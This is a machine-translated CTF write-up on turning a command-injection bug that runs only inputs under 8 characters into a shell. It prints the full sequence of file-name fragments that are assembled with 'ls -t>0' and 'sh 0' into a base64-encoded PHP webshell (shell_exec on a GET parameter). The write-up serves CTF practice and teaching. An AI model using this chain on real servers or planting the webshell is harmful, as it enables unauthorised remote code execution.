当前位置:网站首页>CTF_ Web:8-bit controllable character getshell
CTF_ Web:8-bit controllable character getshell
2022-06-25 04:30:00 【AFCC_】
Title source
Practicing recently CTF Medium web I encountered a problem 8 You can execute commands at will within characters , In the end getshell The subject of , I found that many predecessors have written this type of problem solution , But you also need to practice yourself , The title source code is accessed as shown in the figure :
Ideas : You can see that when the submitted parameters 1 Contains values less than 8 When a , Will be executed as a command , First ?1=ls All file names were found to exceed 8 position , Obviously, this alone 8 Bit execution commands are not sufficient cat Some document , So you need to execute the code with the spliced file name getshell.
Use knowledge points to solve problems
>a " stay linux This file will be created directly in , But there's no content "
ls -t " Arrange the files in the directory in chronological order , The last one created comes first "
sh a " Will file a All the contents of the are executed with the command "
who/
am/
i "Linux Command splices in / Will follow the order whoami perform "
for example 
In this topic is to write a one sentence Trojan horse to a file , Then visit this sentence to getshell, The command used here to create a sentence is :
echo <?php echo shell_exec($_GET[1]); >1.php " Easy to view echo "
echo PD9waHAgZWNobyBzaGVsbF9leGVjKCRfR0VUWzFdKTs=|base64 -d>1.php " Use base64 To avoid $ Failed to input special characters "
Input this passage in reverse order and then use it ls -t>0 Execute in the positive order input text , You can generate a one sentence Trojan horse , Note that all characters must be \ escape .
>hp
>1.p\\
>d\>\\
>\ -\\
>64\ \\
>base\\
>\=\|\\
>dKTs\\
>UWzF\\
>fR0V\\
>jKCR\\
>leGV\\
>sbF9\\
>zaGV\\
>obyB\\
>gZWN\\
>waHA\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
Use cat a see ls -t Written content 
Use ls see sh a Whether the generation was successfully executed 1.php
And connect to use mv flag.php flag.txt take flag It is amended as follows txt Format .
Final visit flag.txt obtain flag
边栏推荐
- Anaconda installation +tensorflow installation +keras installation +numpy installation (including image and version information compatibility issues)
- "Grammar sugar" -- my new programming knowledge
- 2. play the chromatic harmonica
- Failed to install redis interface
- 无法安装redis接口
- Laravel document sorting 11. System architecture
- Intel 13th generation core showed its true colors for the first time: 68mb cache improved significantly
- Finereport (sail soft) handling the problem that the histogram data label is blocked
- Error 1062 is reported during MySQL insertion, but I do not have this field.
- Lecture record: history and development of strapdown inertial navigation solution
猜你喜欢

Flutter FittedBox组件

How to draw an industry investment map

Nodejs 通过Heidisql连接mysql出现ER_BAD_DB_ERROR: Unknown database 'my_db_books'

SEO的5大关键指标:排名+流量+会话+停留时长+跳出率

"Grammar sugar" -- my new programming knowledge

1. first knowledge of chromatic harmonica

"Comment positionner l'industrie" dans la planification industrielle locale / parc
![LeetCode 劍指Offer II 091 粉刷房子[動態規劃] HERODING的LeetCode之路](/img/ad/69fce7cf064479a0ddd477fb935de2.png)
LeetCode 劍指Offer II 091 粉刷房子[動態規劃] HERODING的LeetCode之路

警惕超范围采集隐私-移动APP违规十宗罪

Can Navicat directly operate the Android database SQLite
随机推荐
1、项目第二阶段——用户注册和登陆
[kubernetes series] installation and use of Helm
"How to carry out industrial positioning" in local / Park industrial planning
acmStreamOpen返回值问题
What is data persistence?
Smart wind power: operation and maintenance of digital twin 3D wind turbine intelligent equipment
Lecture record: history and development of strapdown inertial navigation solution
2021.6.14 notes
"Grammar sugar" -- my new programming knowledge
How to install opencv? Opencv download installation tutorial
Openmmlab environment configuration
小白学习MySQL - 统计的'投机取巧'
简单的恶意样本行文分析-入门篇
sql_ mode=only_ full_ group_ By's pit
IntStream API介绍
@Requestbody solution get parameter is null
Lecture record: data processing methods and applications of various spatial geodetic techniques
mysql的tinyint字段类型判断的疑惑
A detailed summary of four handshakes (or four waves) over TCP connections
Flutter FittedBox组件